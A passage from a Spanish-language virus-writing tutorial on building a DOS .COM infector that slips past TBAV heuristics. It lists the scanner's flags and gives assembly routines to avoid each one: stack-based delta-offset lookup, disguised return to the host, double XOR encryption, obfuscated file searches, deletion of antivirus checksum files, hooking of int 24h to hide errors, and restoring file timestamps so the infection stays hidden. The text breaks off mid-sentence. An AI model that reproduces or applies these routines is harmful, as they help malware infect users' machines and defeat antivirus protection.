Bueno ,he estado evitando hasta ahora hablar de heurística, pero supongo que és inevitable. La busqueda heurística es un método utilizado por lo antivirus y consiste en buscar trozos muy utilizados en los virus. Por ejemplo la busqueda del desplazamiento de las variables (o delta offset o beta offset como dirían algunos programadores de virus).Ese trozo es muy común en los virus y en cambio ningún programa (normalmente) lo utiliza (¿qué programa necesita buscar un desplazamiento de variables si no se va a cambiar de offset?). En nuestro programita saltarían por ejemplo el flag de encriptación (flag # en el tbav) ,el flag de busqueda de ejecutables(porque buscamos archivos com, eso quieras o no es bastante sospechoso) ,el flag de busqueda del delta offset (flag E en el tbav) y el flag de regreso al hoste (salta cuando damos el control al hoste saltando al offset 100h,flag B en el tbav) Lista de flags del tbav ----------------------- E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. J Suspicious jump construct. Entry point via chained or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. M Memory resident code. The program might stay resident in memory. c No checksum / recovery information (Anti-Vir.Dat) available. C The checksum data does not match! File has been changed! T Incorrect timestamp. Some viruses use this to mark infected files. Z EXE/COM determination. The program tries to check whether a file is a COM or EXE file. Viruses need to do this to infect a program. @ Encountered instructions which are not likely to be generated by an assembler, but by some code generator like a polymorphic virus. G Garbage instructions. Contains code that seems to have no purpose other than encryption or avoiding recognition by virus scanners. U Undocumented interrupt/DOS call. The program might be just tricky but can also be a virus using a non-standard way to detect itself. K Unusual stack. The program has a suspicious stack or an odd stack. 1 Found instructions which require a 80186 processor or above. R Relocator. Program code will be relocated in a suspicious way. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. w The program contains a MS-Windows or OS/2 exe-header. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. D Disk write access. The program writes to disk without using DOS. ? Inconsistent exe-header. Might be a virus but can also be a bug. N Wrong name extension. Extension conflicts with program structure. Si os fijáis algunos de los flags son una chorada (ojo al flag w) Pero tranquilos ,en esta vida todo tiene solución en primer lugar prodríamos sustituir la tipica rutina ... call find_offset find_offset: pop bp sub bp,offset find_offset ... por una rutina en la que leamos directamente de la pila call find_offset find_offset: mov si,sp mov bp,word ptr ss:[si] sub bp,offset find_offset add sp,2 ;adiós flag E Fijate que los datos en la pila se almacenan decrecientemente, con lo que el último elemento está en la posición de memoria más baja. El último elemento de la pila lo apunta el par de registros ss:sp No podemos direccionar la memoria con el registro sp por lo que primero pasamos el valor de sp a si (mov si,sp) después leemos el valor apuntado por si y lo llevamos a bp(ésta és la dirección apilada con el call) Y bueno realizamos el sub y ojo a esta parte sumamos 2 al registro sp ya que hemos desapilado una palabra de la pila y ahora el último elemento de la pila está dos posiciones hacia arriba. Esta rutina sirve pero ten en cuenta que el call find_offset no puede ser el primer comando del virus (sino la heurística saltaría). Antes del call find_offset podrías poner ... push cs push cs pop ds pop es ....ya que de todas formas lo tendrías que poner. No tengas tentaciones de poner instrucciones inútiles antes del call como mov cx,cx xchg ax,ax Entonces no saltaría el flag del delta offset sinó el flag de garbage instruccion (instrucciones basura) ¿qué porqué salta la heurística con instrucciones inútiles? Pues porque un programa normal no suele utilizarlas , no són instrucciones que un compilador genere. En cambio los virus las utilizan para modificar la rutina de desencriptación en virus Polimórficos. Así que evita utilizarlas. Ahora que hemos evitado el flag E vamos a anular el flag B (back to entry point, regreso al punto de entrada).Salta cuando damos el control al com después de la ejecución del virus. Es decir si utilizamos .... mov ax,100h jmp ax pero esto tiene una solución también drástica,(no utilizaremos un mov) push 100h ;apilamos el valor 100h en la pila pop ax ;desapilamos ese valor en el registro ax jmp ax ;saltamos a la dirección 100h Si, si, sé lo que estáis pensando.Pero se vé que a los creadores de antivirus no se les ocurrió :> Je,Je hemos aniquilado otro flag. Vamos a por el siguiente. ¿Qué tal el flag de encriptación?. La verdad es que éste me costo un poquito. Leí por algún sitio que poniendo después de la rutina de desencriptación un comando de salida al DOS se quitaba,con lo que el programa antivirus se pensaba que la zona encriptada eran datos del programa Algo así :> mov cx,zona_encrypt ;en cx el numero de bytes xor di,di ;a encriptar mov ax,byte ptr [valor] mas: xor byte ptr [zona_start+di],ax inc di dec cx je mas jmp sigue ;salto para ejecutar el virus ;ya desencriptado mov ax,4c00h ;para salir al DOS pero int 21h ;nunca llega a ejecutarse sigue: ***************** aquí empieza el código encriptado ********** zona_start: cld mov cx,3d mov di,100h lea si,bp+cab_ORIG rep movsb . . . La verdad es que es una idea ingeniosa ,pero no me funcionó. Así que al final conseguí evitar el dichoso flag encriptando y desencriptando el virus (parece paradógico ,evitar el flag de encriptación con una rutina de encriptación juajuajuajua) Encripto y desencripto con una función xor y utilizando un valor fijo. Estas dos rutinas las ejecuto antes de llegar a la verdadera rutina.Y estarán en cada archivo. La estructura del com quedaría así: Busqueda del delta offset Encripto el virus con un valor fijo Desencripto el virus con el mismo valor Desencripto el virus con un valor variable que se encuentra almacenado en el codigo. Codigo del virus encriptado aquí Podéis revisar el Tarazona_Killer en la zona de virus comentados que está en esta web (si tenéis más dudas). Otro menos, esto va disminuyendo.Vamos ahora a por el flag S Que salta con las rutinas de busqueda de archivos ejecutables (exe,com). También hay una fácil solución.En vez de buscar archivos *.com buscar archivos que cumplan *.c?m . Y después verificar si el caracter del medio es una o. Fácil.El flag Z tiene una solución parecida. El flag z salta con rutinas de verificación si un archivo es com o exe (es decir comprobando si los 2 primeros bytes son MZ). Por ejemplo saltaría con rutinas como: cmp word ptr [cab_ORIG],'ZM' jne contamina_com jmp salir contamina_com: NOTA: Fíjate que para verificar si los 2 primeros bytes son MZ comparamos con la cadena ZM ya que el bytes menos significativo se carga más hacia la derecha y el menos significativo a la izquierda. Para evitar el flag leemos primero un byte y luego otro cmp byte ptr [cab_ORIG].'M' jne contamina_com cmp byte ptr [cab_ORIG+1],'Z' jne contamina_com jmp salir contamina_com: Bueno a estas alturas sólo saltaría el flag c C The checksum data does not match! File has been changed! El Tbav crea un archivo en cada directorio con infomación sobre los archivos ejecutables que hay en él. Gracias a este archivo el Tbav sabe si un archivo a aumentado de tamaño o qué, (bueno no suelen engordar así por así los ejecutables por lo que si uno crece de tamaño lo más normal es que tenga un virus :> ) La manera de evitar este flag es borrar el archivito con lo que de paso puedes borrar otros archivos de verificación de otros antivirus como el chklist.ms etc. ¿qué cómo los borras? pues coño pa eso tienes la lista de interrupciones int 21 en AH->41h y en DS:DX->asciz file Olvidémonos un poco de los flags y de la heurística ,por lo menos hasta que llegemos a la residencia ;>. Y vamos a deperurar un poco más el programilla. Piensa por un momente lo que pasaría si alguien copia nuestro virus a un diskette ,luego lo protege contra escritura y después ejecuta el virus. Pues aparecería en pantalla un horroroso mensaje de Fallo de escritura en unidad A Anular, Reintentar, Ignorar? Incluso a veces aparece en pantalla error en int 24 :> Y vosotros no queréis que eso pase ,porque delataría a nuestro pequeño virus. Pues bueno como todo en esta vida tiene una solución. La interrupción 24 es la que gestiona los errores críticos. Entre ellos está la lectura en diskettes defectuosos, la escritura en diskettes protegidos contra escritura etc. Las interrupciones són procedimientos que se ejecutan cuando se produce algún evento en el sistema ya sea apretar una tecla ,mover el ratón, o que aparezca un error crítico. El DOS crea a partir de la dirección de memoria 0000:0000 una tabla que indica la dirección de inicio de cada interrupción del sistema. Sólo hemos de leer la dirección de la interrupción 24. Guardarla en una variable . Cambiar la dirección a un procedimiento nuestro que no devuelva codigos de error y luego cuando ya hallamos contaminado devolver a la interrupción 24 su dirección inicial. (fijaos en la función 35h y 25h de la int 21h, para leer la dirección de una interrupción y para cambiarla) mov ax,3524h ;en ah el codigo de la función (35h) int 21h ;en al el número de la interrupción Esto devuelve en BX el offset y en ES el segmento de la interrupción mov cs:[bp+old_int24_off],bx mov cx:[bp+old_int24_seg],es Con esto guardo en memoria la dirección de la interrución original Y ahora desvío la interrupción 24 a un procedimiento mío. mov dx,offset new_int24 mov ax,2524h int 21h ;en ds:dx dirección de la nueva función jmp Contaminar ;supongo ds = cs ya que estamos contaminando com's new_int24: xor al,al ;en al la interrupción 24 devuelve el código iret ;de error por lo que la pongo a 0 :> contaminar: Después de contaminar simplemente devolvemos el valor original a la interrupción con... lds dx,cs:old_int24 mov ax,2524h int 21h Fijate en las variables que añado a la zona de variables old_int24 label dword old_int24_off dw 0 old_int24_seg dw 0 Defino una etiqueta llamada old_int24 para referenciar el inicio a los valores del offset y del segmento de la interrupcion 24 así con el comando lds dx,cs:old_int24 los puedo cargar directamente en DS:DX sin tener que leer las 2 variables por separado. Otras mejoras que podríamos añadir es la verificación del tamaño del archivo. Ten en cuenta que un archivo com sólo puede tener 65 kbytes de tamaño eso hace que si el hoste est muy cerca de ese tamaño y si tú le añades el código del virus ,el conjunto de hoste+virus no se podría cargar en un único segmento por lo que el programa se colgaría . Por eso lo mejor es verificar el tamaño con una rutina como esta (supongo en la variable longitud el tamaño del hoste) .... mov ax,50000d cmp word ptr [bp+longitud],ax jb size_ok ;salto si el primer elemento jmp salir ;a comparar es menor al segundo size_ok: También es interesante guardar la hora y la fecha del archivo contaminado y luego restaurar la fecha y la hora , así nadie se dará cuenta que la última modificación del archivo fué cuando el virus le contaminó }:> Para eso utilizaremos la función ax=5700h de la int 21 para leer la fecha del archivo y la ax=5701h para cambiarla. En dx se obtendrá el campo de la hora y en cx la fecha.Según el siguiente criterio. Bit(s)